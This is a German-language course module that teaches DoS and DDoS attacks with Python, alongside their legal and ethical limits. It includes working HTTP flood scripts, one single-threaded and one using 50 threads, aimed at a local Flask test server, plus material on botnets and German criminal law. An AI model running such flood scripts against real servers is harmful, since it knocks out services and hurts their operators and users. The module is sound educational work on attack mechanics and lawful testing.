DoS und DDoS-Angriffe mit Python verstehen - Ethik, Praxis und Grenzen
Lerne die technischen Grundlagen von Denial-of-Service-Angriffen, ihre praktische Umsetzung mit Python und die ethischen sowie rechtlichen Grenzen.
- Die Studierenden verstehen die technischen Grundlagen von DoS- und DDoS-Angriffen und können die Unterschiede erklären.Verstehen
- Die Studierenden können einfache DoS-Techniken mit Python implementieren und deren Wirkung auf Testsysteme analysieren.Anwenden
- Die Studierenden können die praktischen Grenzen eines Einzelrechners bei DoS-Angriffen evaluieren und mit DDoS-Szenarien vergleichen.Analysieren
- Die Studierenden können ethische und rechtliche Aspekte von DoS/DDoS-Angriffen bewerten und legitime von illegitimen Einsatzzwecken unterscheiden.Evaluieren
In diesem Modul lernst du die technischen Hintergründe von DoS (Denial of Service) und DDoS (Distributed Denial of Service) Angriffen kennen. Du erfährst, wie solche Angriffe mit Python umgesetzt werden können, wo die praktischen Grenzen eines einzelnen Laptops liegen und wann solche Techniken ethisch vertretbar sind.
Wichtig: Dieses Modul dient ausschließlich Bildungszwecken. Angriffe auf fremde Systeme ohne Erlaubnis sind illegal!
Was sind DoS und DDoS-Angriffe?
DoS (Denial of Service) bedeutet "Verweigerung des Dienstes". Dabei wird ein System (Server, Webseite, Netzwerk) durch gezielte Überlastung lahmgelegt, sodass legitime Nutzer keinen Zugriff mehr haben.
DDoS (Distributed Denial of Service) ist die verteilte Variante: Hunderte oder Tausende Computer greifen gleichzeitig an, was den Angriff viel effektiver macht.
Typische Angriffsvektoren:
- HTTP Flood: Massenhafte HTTP-Requests überlasten den Webserver
- SYN Flood: Ausnutzung des TCP-Handshakes
- UDP Flood: Überschwemmung mit UDP-Paketen
- Slowloris: Langsame Requests, die Verbindungen offen halten
Praktischer Teil: Einfache DoS-Simulation mit Python
Wir erstellen einen einfachen HTTP Flood gegen einen lokalen Testserver. Dies zeigt die Grundprinzipien und die Grenzen eines einzelnen Rechners.
Vorbereitung: Lokaler Testserver
Erstelle zunächst einen simplen Testserver, den wir später "angreifen" können:
# testserver.py - Einfacher lokaler Server zum Testen
from flask import Flask
import time
app = Flask(__name__)
@app.route('/')
def home():
# Simuliere etwas Last durch kurze Verzögerung
time.sleep(0.01)
return "Server läuft!"
if __name__ == '__main__':
# Läuft auf localhost:5000
app.run(host='127.0.0.1', port=5000)Note
Installiere Flask: pip install flask
Starte den Server: python testserver.py
DoS-Script: HTTP Flood (Single-Threaded)
Beginnen wir mit der einfachsten Variante:
# dos_simple.py - Einfache HTTP Flood (single-threaded)
import requests
import time
target_url = "http://127.0.0.1:5000"
request_count = 0
start_time = time.time()
print("[+] Starte DoS-Test gegen lokalen Server...")
print("[!] ACHTUNG: Nur gegen eigene Testsysteme verwenden!")
try:
while True:
try:
response = requests.get(target_url, timeout=1)
request_count += 1
if request_count % 100 == 0:
elapsed = time.time() - start_time
rps = request_count / elapsed # Requests per second
print(f"[*] {request_count} Requests | {rps:.2f} req/s")
except requests.exceptions.RequestException as e:
print(f"[!] Fehler: {e}")
except KeyboardInterrupt:
elapsed = time.time() - start_time
print(f"\n[*] Gestoppt nach {elapsed:.2f}s")
print(f"[*] Total: {request_count} Requests ({request_count/elapsed:.2f} req/s)")Reflection
Ergebnis: Grenzen eines Single-Thread-Ansatzes
Wenn du dieses Script ausführst, wirst du feststellen:
- 📉 Langsam: Nur etwa 50-200 Requests pro Sekunde (je nach Hardware)
- ⏱️ Blockierend: Jeder Request wartet auf den vorherigen
- 🛡️ Kaum Wirkung: Ein moderner Server kann das problemlos abwehren
Optimierung: Multi-Threading
Mit Python's Threading können wir mehrere Requests parallel absenden:
# dos_threaded.py - HTTP Flood mit Threading
import requests
import threading
import time
target_url = "http://127.0.0.1:5000"
request_count = 0
lock = threading.Lock()
def attack():
global request_count
while True:
try:
requests.get(target_url, timeout=1)
with lock:
request_count += 1
except:
pass
print("[+] Starte Multi-Threaded DoS-Test...")
print("[!] Threads: 50")
start_time = time.time()
# Starte 50 parallele Threads
threads = []
for _ in range(50):
t = threading.Thread(target=attack, daemon=True)
t.start()
threads.append(t)
try:
while True:
time.sleep(1)
elapsed = time.time() - start_time
rps = request_count / elapsed
print(f"[*] {request_count} Requests | {rps:.2f} req/s")
except KeyboardInterrupt:
print(f"\n[*] Gestoppt nach {elapsed:.2f}s")
print(f"[*] Total: {request_count} Requests")Reflection
Ergebnis: Deutliche Verbesserung, aber immer noch begrenzt
Mit 50 Threads erreichst du etwa:
- ⚡ 500-2000 req/s (je nach Hardware und Netzwerk)
- 💻 CPU-Limit: Dein Laptop wird warm, CPU bei ~50-100%
- 🌐 Netzwerk-Limit: Deine Internetverbindung wird zum Flaschenhals
- 🎯 Wirkung: Kann kleinen lokalen Server verlangsamen, aber große Server bleiben stabil
Die Grenzen eines einzelnen Laptops
Warum kann ein einzelner Rechner moderne Server nicht lahmlegen?
Checklist
DDoS: Warum verteilte Angriffe so gefährlich sind
Ein DDoS-Angriff nutzt Tausende infizierte Rechner (Botnetz):
- 🌍 Viele Quell-IPs: IP-Blocking funktioniert nicht mehr
- ⚡ Massive Bandbreite: 1000 Rechner × 100 Mbit/s = 100 Gbit/s
- 🎯 Koordiniert: Zentrale Steuerung des Botnetzes
Beispiel: Der Mirai-Botnetz-Angriff 2016 erreichte 1 Tbit/s und legte große Teile des Internets lahm.
Warning
Ethische und rechtliche Fragestellungen
❌ Wann ist es illegal und unethisch?
- Angriffe auf fremde Systeme ohne Erlaubnis → Straftat (§303a/b StGB)
- Nutzung von Botnets (infizierte fremde Rechner) → Schwere Straftat
- "Hacktivismus" ohne Legitimation → Selbstjustiz, illegal
- Geschäftsschädigung (z.B. Konkurrenz lahmlegen) → Strafbar + Schadensersatz
✅ Wann ist es legitim?
- Penetration Testing: Mit schriftlicher Erlaubnis des Betreibers
- Security Research: Eigene Testsysteme in isolierter Umgebung
- Load Testing: Belastungstests der eigenen Infrastruktur
- Bug Bounty Programme: Mit expliziter Erlaubnis
⚖️ Grauzonen
- DDoS als Protest? Auch bei moralischer Motivation illegal
- "Es war nur ein Test": Keine rechtliche Verteidigung
- Ausland angreifen: Auch international strafbar
Challenge
Praktische Übung: Stress-Test des eigenen Servers
Du darfst dein Wissen nun an einem eigenen, lokalen Testsystem ausprobieren:
Checklist
Reflection
Abschlussreflexion
Überlege dir folgende Fragen:
- Warum sind DoS-Angriffe von einem einzelnen Rechner meist ineffektiv?
- Was macht DDoS-Angriffe so gefährlich?
- Welche Schutzmaßnahmen können Server implementieren?
- Wo verläuft die ethische Grenze bei Security Testing?
- Welche Konsequenzen drohen bei illegalen Angriffen?
Wichtig: Technisches Wissen ist wertvoll, aber Verantwortung ist entscheidend. Nutze deine Fähigkeiten nur zum Schutz, nie zur Schädigung!
Note
Weiterführende Ressourcen
- 📚 OWASP DoS Testing Guide: Best Practices für Sicherheitstests
- 🛡️ Cloudflare DDoS Protection: Wie professionelle Abwehr funktioniert
- ⚖️ §303a/b StGB (Deutschland): Rechtliche Grundlagen
- 🔬 Scapy (Python): Low-Level Netzwerk-Testing (für Fortgeschrittene)
Tipp: Wenn du Security testen willst, nutze legale Plattformen wie HackTheBox, TryHackMe oder DVWA (Damn Vulnerable Web Application).